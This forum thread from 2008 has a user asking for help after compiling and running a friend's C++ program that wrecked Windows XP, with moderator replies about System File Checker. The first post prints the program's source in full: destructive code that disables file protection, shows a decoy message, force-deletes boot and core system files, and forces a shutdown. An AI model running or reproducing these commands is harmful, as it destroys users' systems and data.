lesser-equity

Magazine
Go Back   Computer Juice > Computer Software > Windows Operating Systems

Register


Default Critical system files deleted - Urgent.

Hello. I just compiled a source (C++) from a friend of mine, and because I'm using the Express edition of Visual C++, it compiled and directly ran the program. As you could've guessed, the source wasn't all that nice. I managed to abort the forced shutdown in time, but the ...


Reply
 
Thread Tools
  #1  
Old 24th Apr 2008, 17:17
Member Group
 
Posts: 36
Default Critical system files deleted - Urgent.

Hello. I just compiled a source (C++) from a friend of mine, and because I'm using the Express edition of Visual C++, it compiled and directly ran the program.

As you could've guessed, the source wasn't all that nice. I managed to abort the forced shutdown in time, but the files are still deleted. Here is the main part of the source;
Code:
    system("REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v SFCDisable /f");
	system("REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon /v SFCDisable /t REG_DWORD /d ffffff9d /f");
	system("attrib -r -s -h C:\\Ntldr");
	system("attrib -r -s -h C:\\boot.ini");
	system("attrib -r -s -h %SystemRoot%\\pss");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootcfg.exe");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootok.exe");
	system("attrib -r -s -h %SystemRoot%\\system32\\bootvrfy.exe");
	system("attrib -r -s -h C:\\NTDETECT.COM");
	system("attrib -r -s -h C:\\System Volume Information");
	system("attrib -r -s -h %SystemRoot%\\repair");
	system("attrib -r -s -h C:\\system.ini");
	system("attrib -r -s -h %SystemRoot%\\win.ini");
	system("attrib -r -s -h %SystemRoot%\\system");
	system("attrib -r -s -h %SystemRoot%\\System32\\hal.dll");
	system("attrib -r -s -h %SystemRoot%\\System32\\ntdll.dll");
	system("Echo Refreshing cache memory, please stand by");
	system("del C:\\Ntldr -q -f"); //used for presenting boot menu, and loads Ntoskrnl.exe, Bootvid.dll, Hal.dll, and boot-start device drivers
    system("del C:\\boot.ini -q -f");
	system("del C:\\System Volume Information\\*.* -q -f");
	system("del %SystemRoot%\\pss\\*.* -q -f");
	system("del %SystemRoot%\\system32\\bootcfg.exe -q -f");
	system("del %SystemRoot%\\system32\\bootok.exe -q -f");
	system("del %SystemRoot%\\system32\\bootvrfy.exe -q -f");
	system("del C:\\NTDETECT.COM -q -f");
	system("del %SystemRoot%\\repair\\*.* -q -f");
	system("del C:\\system.ini -q -f");
	system("del %SystemRoot%\\win.ini -q -f");
	system("del %SystemRoot%\\system\\*.* -q -f");
	system("del %SystemRoot%\\System32\\hal.dll -q -f");
	system("del %SystemRoot%\\System32\\ntdll.dll -q -f");
	system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 10");
I've tried to get some of the files back but I've only managed to get hal.dll...

What would be the best fix for this? I believe I cannot use the XP Pro disc to repair.
  #2  
Old 24th Apr 2008, 19:20
Moderator Group
 
Skill Level: Advanced
Posts: 7,136
Default Critical system files deleted - Urgent.

Do you have an XP CD?

If so, place it in your CD ROM drive and follow the instructions below:
  • Click on Start > Run and type sfc /scannow then press Enter (note the space between scf and /scannow)
    • Let this run undisturbed until the window with the blue progress bar goes away
SFC - Which stands for System File Checker, retrieves the correct version of the file from %Systemroot%\System32\Dllcache or the Windows installation source files, and then replaces the incorrect file.

If you want to see what was replaced, right-click My Computer and click on Manage.
In the new window that appears, expand the Event Viewer (by clicking on the + symbol next to it) and then click on System.
__________________

  #3  
Old 24th Apr 2008, 19:42
Member Group
 
Posts: 36
Default Critical system files deleted - Urgent.

Ohhhh my! You have no clue how happy I am right now, ghehe. I was about to get ready to reformat but aye, this looks way better. SFC is running right now, but I do have one little concern; would this also take care of "System Volume Information", "Ntldr", "boot.ini", "system.ini" and "NTDETECT.COM"? I was just wondering since these aren't windows XP files.

Thanks for your help so far, great and nifty command. I'll report back in a little while.=D
  #4  
Old 24th Apr 2008, 19:46
Moderator Group
 
Skill Level: Advanced
Posts: 7,136
Default Critical system files deleted - Urgent.

Not 100% sure.

You may have to check out a few different methods. http://support.microsoft.com/kb/330184

Then again it may replace them. Just have to wait and see.
__________________

  #5  
Old 25th Apr 2008, 02:49
Member Group
 
Posts: 36
Default Critical system files deleted - Urgent.

Hello Evilfantasy. After the scan was done, I rebooted my laptop to see if it would work. To my disappointment I got a message saying "NTLDR missing", so I tried using one of my boot discs to fix that, but then I kept on getting "Missing kernel drivers to fix NTLDR."
I am now formatting my HDD using my mom's computer (since my laptop kept on rebooting for no apparent reason w/ my XP disc in it) and I'm just waiting for it to finish.

Nevertheless the result, thanks for your help and efforts (it's been an experience for me and I now know a new nifty command, ghehe). =D
  #6  
Old 25th Apr 2008, 07:21
Moderator Group
 
Skill Level: Advanced
Posts: 7,136
Default Critical system files deleted - Urgent.

Sorry it didn't work.

Not sure what you were doing, but people usually do risky work on a spare machine or HDD....just in case of incidents like this.
__________________

Reply

Donate

Register

Bookmarks

Similar Threads
Thread Thread Starter Forum Replies Last Post
Deleted temp files - Cannot connect to internet Nalrune Windows Operating Systems 0 10th Jun 2009 05:12
HELP!!! Will deleted files show up on portable hard drive? cashewcashish Drives & Removable Media 1 30th Jan 2009 13:02
Deleted files CodeFreakC Windows Operating Systems 2 31st Jul 2008 08:59
Delete deleted files? Xeon General Software Chat 3 21st Jun 2008 06:29
Can anybody guide me how can I recover some of my deleted files. jackson12 Windows Operating Systems 2 17th May 2007 02:21
Thread Tools




Arabic Bulgarian Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Finnish French German Greek Hebrew Hungarian Italian Japanese Korean Latvian Lithuanian Norwegian Polish Portuguese Romanian Russian Serbian Slovak Spanish Swedish Thai Turkish Ukrainian

Copyright ©2006 - 2009 Computer Juice.

Powered by vBulletin® Copyright ©2000 - 2009 Jelsoft Enterprises Ltd. SEO by vBSEO ©2009, Crawlability, Inc.